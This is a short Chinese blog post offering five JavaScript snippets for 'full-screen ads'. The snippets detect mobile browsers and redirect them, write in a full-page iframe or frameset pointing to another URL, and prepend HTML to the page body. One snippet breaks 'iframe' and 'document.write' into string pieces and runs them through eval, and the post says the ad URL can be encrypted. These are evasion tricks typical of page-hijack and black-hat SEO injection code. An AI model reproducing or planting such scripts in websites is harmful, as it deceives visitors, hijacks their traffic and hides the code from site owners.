JS全屏广告代码

网站建设小技巧 2019-10-14 21:12:28 评论

两段代码

if(sows =='true'){ var juesha_pc_domain = website; var juesha_wap_domain = mobileWebSite; if(website!='' && mobileWebSite!= ''){ function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { document.writeln(""); } else { document.writeln(""); } } browserRedirect(); } }

 

var website ='https://www.huaianseo.cn', mobileWebSite ='https://www.huaianseo.cn', sows = 'true';

 

方法二:

var ss = '

<ifr'+'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" width="14'+'00" height="100%" src="广告页面[可加密]">

';
eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");

方法三:

//全站替换文字

修改
document.getElementById("bdzz").innerHTML='广告HTML代码';

 

方法四:

if ((navigator.userAgent.match(/(iPhone|iPod|Android|ios|mobile)/i))) {
  setInterval(tiaozhuan,1500)
} else {
  var url = 'PC地址';
  document.write('<frames' + 'et co' + 'ls="100%"' + '><fra' + 'me sr' + 'c="' + url + '" /></fr' + 'ameset>')
}


function tiaozhuan(){
  clearInterval(tiaozhuan);
  var url = '手机地址';
  location.replace(url)
}

方法五
<script>
var SCqgjrs1 = '<div ></div>';
var WdAO2 = window["document"]['body']['innerHTML'];
window["document"]['body']['innerHTML'] = SCqgjrs1 + WdAO2
</script>

评论

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!